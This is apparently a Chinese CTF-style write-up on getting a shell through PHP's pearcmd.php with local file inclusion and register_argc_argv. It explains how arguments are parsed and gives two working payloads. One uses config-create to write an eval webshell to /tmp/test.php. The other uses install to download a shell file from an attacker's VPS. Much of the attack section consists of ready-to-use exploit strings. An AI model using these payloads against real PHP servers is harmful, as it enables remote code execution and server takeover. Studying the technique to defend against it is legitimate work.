利用 pearcmd.php 实现 Getshell
利用 pearcmd.php 实现 Getshell
关于pear
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定`--with-pear`才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在`/usr/local/lib/php`。
利用这个漏洞需要php开启register_argc_argv选项以及确定pearcmd.php的位置,正常pearcmd.php的位置是在/usr/local/lib/php里面
接下来分析以下$_SERVER[‘argv’]的作用
Docker环境下的PHP会开启register_argc_argv这个配置。当开启了这个选项,用户的输入将会被赋予给$argc、$argv、$_SERVER['argv']几个变量。
当我们开启register_argc_argv选项的时候,$_SERVER[‘argv’]就会生效。
peracmd.php获取参数的代码:
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
也就是说在argv的情况下,pearcmd.php是通过$_SERVER[‘argv’]来获取参数数
可以看到传入的值都被当做参数了
1.&符无发分割参数,真正能分割参数的是加号
2.等号无法赋值,而是会直接被传进去当作参数。
而pear命令实质上就是调用了pearcmd.php,也就是说我们可以利用pear命令的形式来进行漏洞利用。
pear命令:
(1)config-create
这个方法有两个参数,第一个参数会作为文件内容写入第二参数的文件
利用payload:
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php
分析:
$_SERVER[‘argv’]会获取传入的值作为参数
通过调用pear命令config-create写入两个参数,从而写入一个shell文件从而进行getshell
上面就已经写入成功(由于这个题在文件包含时会加入后缀.php,所以这里的pearcmd不用加.php)
接下来去访问这个文件
通过访问这个文件执行命令,打开文件
可以看到不仅我们的一句话木马被写进去了,与此同时我们的file参数也被写进去了
因为传给pearcmd的参数是$_SERVER[‘argv’],$_SERVER[‘argv’]会读取所有字符串并以加号进行分割。所以这里的file及其参数自然就被当作参数接纳了。
2)Install
除了上面的方法我们还可以使用install方法,从外面将shell文件下载进来然后进行getshell。
payload如下
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php
从上面的分析中,我们不难看出这串payload所下载的文件的保存地址在
&file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/路径下面,这里我在使用的时候会遇到一些有关配置方面的问题,因为名为&file=/usr/local/lib/php/pearcmd.php\&的文件夹是新创建的,而我并没有权限对其进行写操作而导致利用失败。